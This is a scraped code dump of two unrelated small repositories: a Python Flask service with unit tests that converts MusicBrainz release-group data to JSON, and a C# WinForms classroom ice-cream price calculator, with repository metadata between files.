assert len(release_group['release-group-list']) == 10
assert release_group['release-group-list'][0]['title'] == "Ride the Lightning"
assert release_group['release-group-list'][0]['type'] == "Album"
def test_get_release_group_type_album(self):
release_group = self.api_bridge.get_release_group_album_type(TestBridge.Coldplay, 10)
assert release_group['release-group-list'][0]['title'] == "A Rush of Blood to the Head"
def tearDown(self):
pass
if __name__ == '__main__':
unittest.main()<file_sep>/musicbrainz_api_porting/FleskApp.py
__author__ = 'RobertaBtt'
from flask import Flask, json
from . import MusicbrainzPortingConfig
from . import APIBridge
app = Flask(__name__)
@app.route("/")
def home():
response = app.response_class(
response=json.dumps(dict()),
status=200,
mimetype='application/json'
)
return response
@app.route("/releasegroup/<artistid>/")
def release_group_artist_no_limit(artistid):
api_bridge = APIBridge.APIBridge(_get_hostname(), _get_app_name(), _get_version(), _get_contact(), _get_format())
result = api_bridge.get_release_group(artistid, None, None)
response = app.response_class(
response=json.dumps(result),
status=200,
mimetype='application/json'
)
return response
@app.route("/releasegroup/<artistid>/<limit>/<offset>")
def release_group_artist(artistid, limit, offset):
api_bridge = APIBridge.APIBridge(_get_hostname(), _get_app_name(), _get_version(), _get_contact(), _get_format())
result = api_bridge.get_release_group(artistid, limit, offset)
response = app.response_class(
response=json.dumps(result),
status=200,
mimetype='application/json'
)
return response
staticmethod
def _get_hostname():
return MusicbrainzPortingConfig.MusicbrainzPortingConfig.get_confi_by_key('hostname')
staticmethod
def _get_app_name():
return MusicbrainzPortingConfig.MusicbrainzPortingConfig.get_confi_by_key('app')
staticmethod
def _get_version():
return MusicbrainzPortingConfig.MusicbrainzPortingConfig.get_confi_by_key('version')
staticmethod
def _get_format():
return MusicbrainzPortingConfig.MusicbrainzPortingConfig.get_confi_by_key('format')
staticmethod
def _get_contact():
return MusicbrainzPortingConfig.MusicbrainzPortingConfig.get_confi_by_key('contact')
<file_sep>/README.md
# MusicBrainz API Porting
_Working with Musicbrainz api Xml version ([MusicBrainz Xml API Version 2](https://musicbrainz.org/doc/Development/XML_Web_Service/Version_2))
in order to retrieve JSON format._

Instructions:
```
mkdir mb_api_porting
```
```
cd mb_api_porting
```
```
virtualenv -p /usr/bin/python3.5 MB_API_PORTING_ENV
```
Create the virtual env ONCE
```
source MB_API_PORTING_ENV/bin/activate
```
And you will find yourself in the virtual environment, ready to get the corret dependencies
without influencing other python installation and environments.
**Install the requirements for this virtual env for this project:**
```
pip install -r requirements.txt
```
---
To deactivate the virtual env:
```
deactivate
```
To run the Application server:
From the directory *mb_api_porting*
run:
```
FLASK_APP=musicbrainz_api_porting/FleskApp.py flask run
```
And then visit http://127.0.0.1:5000/ (depending on your local config file, that you are free to change)
To retrieve reliese of an artist use:
http://127.0.0.1:5000/artistid
To use limit and offset:
http://127.0.0.1:5000/artist_id/limit/offset
example: http://localhost:5000/releasegroup/3862342a-43c4-4cdb-8250-bfdbfb5e1419/4/0
limit of 4 release-group starting by 0
artist id is an uuid sequence that identify an artist in the MusicBrainz database
<file_sep>/requirements.txt
Flask>=1.0.2
simplejson>=3.16.0
musicbrainzngs>=0.6
<file_sep>/test/test_flesk_app.py
__author__ = 'RobertaBtt'
import unittest
from ..musicbrainz_api_porting import FleskApp
import json
class TestServer(unittest.TestCase):
def setUp(self):
app = FleskApp.app
app.config['TESTING'] = True
self.baseURL = "http://localhost:5000"
self.client = app.test_client()
return app
def test_get_home(self):
response = self.client.get('/')
assert response.status_code == 200
def test_undefined(self):
response = self.client.get('/undefined')
assert response.status_code == 404
def test_get_last_twelve(self):
limit = 12
offset = 10
response = self.client.get('/releasegroup/65f4f0c5-ef9e-490c-aee3-909e7ae6b2ab/'+str(limit) +'/'+ str(offset))
assert response.status_code == 200
assert len(json.loads(response.get_data().decode('utf-8'))['release-group-list']) == 12
assert json.loads(response.get_data().decode('utf-8'))['release-group-list'][2]['title'] == 'Lulu'
def test_get_all(self):
Maneskin = '3862342a-43c4-4cdb-8250-bfdbfb5e1419'
response = self.client.get('/releasegroup/' + Maneskin + '/')
assert response.status_code == 200
assert len(json.loads(response.get_data().decode('utf-8'))['release-group-list']) == 4
def tearDown(self):
pass
if __name__ == '__main__':
unittest.main() | db3a20aeb0784a836c2ecddbdd0b2884a269a608 | [
"Markdown",
"Python",
"Text",
"INI"
] | 11 | Python | RobertaBtt/mb_api_porting | d38c38c6b67b4344b9a87b55575022c8d72b72c9 | 90b4e3a233a0c22cfafbae513099e2d0c7a9a94b |
refs/heads/master | <file_sep># COP2010-Icecream-Example
an example given in class to demonstrate how to calculate the price of icecream
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace IceCream
{
public partial class Form1: Form
{
//<NAME>
//COP2010
//In class project - Ice Cream POS
public Form1()
{
InitializeComponent();
}
int scoopsQty = 0;
double unitPrice = 0;
double totalPrice = 0;
private void btnComputePrice_Click(object sender, EventArgs e)
{
try
{
scoopsQty = int.Parse(txtScoops.Text);
unitPrice = double.Parse(txtUnitPrice.Text);
totalPrice = scoopsQty * unitPrice;
txtTotal.Text = totalPrice.ToString("c");
}//end try
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}//end catch
}//end method
private void btnClear_Click(object sender, EventArgs e)
{
scoopsQty = 0;
unitPrice = 0;
totalPrice = 0;
txtScoops.Clear();
txtUnitPrice.Clear();
txtTotal.Clear();
}//end method
private void btnExit_Click(object sender, EventArgs e)
{
this.Close();
//Application.Exit();
}//end method
}//end class
}//end namespace
| b017a03596a9a32682243ef8b4264f087b62714d | [
"Markdown",
"C#"
] | 2 | Markdown | jerradmonagan/COP2010-Icecream-Example | f4d8e7bc2f4ecb43b46b9ca2eb5adc321e640d1d | 7799bb3e188a99dcb5a920d2acdc211be0e3034c |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.